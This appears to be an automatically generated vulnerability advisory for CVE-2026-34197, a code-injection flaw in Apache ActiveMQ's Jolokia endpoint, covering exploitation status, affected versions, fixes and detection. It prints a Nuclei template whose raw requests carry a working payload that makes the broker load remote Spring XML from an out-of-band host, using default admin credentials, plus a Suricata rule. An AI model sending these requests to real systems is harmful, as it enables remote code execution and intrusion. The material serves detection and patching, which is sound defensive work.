CVE-2026-34197: Apache ActiveMQ Improper Input Validation Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Improper Input Validation, Improper Control of Generation of Code (‘Code Injection’) vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport’s brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring’s ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker’s JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ All: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.3. Users are recommended to upgrade to version 5.19.4 or 6.2.3, which fixes the issue

Description quoted from the CVE record (assigned by apache, published 2026-04-07).

Weakness: CWE-20 Improper Input Validation; CWE-94 Improper Control of Generation of Code (‘Code Injection’); Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2026-04-16
US federal deadline
2026-04-30
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-04928, CNVD-2026-17369, EUVD-2026-19588, EUVD-2026-25410, EUVD-2026-33576, GHSA-rxpj-7qvf-xv32, GHSA-v853-w46p-fv2h, GHSA-w3w2-mpp5-92gm, SNYK-JAVA-ORGAPACHEACTIVEMQ-16032379, SNYK-JAVA-ORGAPACHEACTIVEMQ-16032380

VEDAS cluster: VEDAS:AZTECHUMMINGBIRD

Exploit Observer links 21 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (21)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (24)

Catalogue entries, not exploit evidence.

54 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.983
very likely to be attacked soon
VEDAS
0.991
strong exploit evidence
On CISA KEV
Yes, since 2026-04-16
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-34197 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-34197 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Apache Software Foundation Apache ActiveMQ Broker (org.apache.activemq:activemq-broker)before 5.19.4
from 6.0.0 before 6.2.3
Not stated
Apache Software Foundation Apache ActiveMQ All (org.apache.activemq:activemq-all)before 5.19.4
from 6.0.0 before 6.2.3
Not stated
Apache Software Foundation Apache ActiveMQ (org.apache.activemq:apache-activemq)before 5.19.4
from 6.0.0 before 6.2.3
Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: apache activemq, apache activemq_broker, apache_software_foundation activemq, ооо_«ред_софт» ред_ос.

How to fix it

Fixed versions stated in the CVE record: 5.19.4, 6.2.3.

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Apache ActiveMQ Broker - Code Injection

Improper Input Validation, Improper Control of Generation of Code (‘Code Injection’) vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console.

Name and description quoted from the template, written by VEDAS.

The template sends 4 requests (POST /api/jolokia/, POST /api/jolokia/, GET /, GET /); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-34197.yaml
Show the template (65 lines)
yaml
id: CVE-2026-34197

info:
  name: "Apache ActiveMQ Broker - Code Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache
    ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/
    on the web console.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-34197&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=activemq&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-34197
    cwe-id: CWE-94
  metadata:
    verified: false
  tags: cve,cve2026,activemq,jolokia,rce,oast,java,oob,kev,vkev
variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "{{to_lower(rand_text_alpha(6))}}"

http:
  - raw:
      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}

        [{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}]

      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}
        Authorization: Basic YWRtaW46YWRtaW4=

        [{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}]

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[{"request":{'
          - 'org.apache.activemq'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200

CVE-2026-34197.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-34197 Apache ActiveMQ Broker - Code Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-34197 Apache ActiveMQ Broker - Code Injection"; flow:established,to_server; http.uri; content:"jolokia"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-34197; reference:url,https://www.exploit.observer/?keyword=CVE-2026-34197&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=activemq&match=exact; sid:1010272; rev:1;)

CVE-2026-34197.rules on GitHub

References

Vendor advisories and patches

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.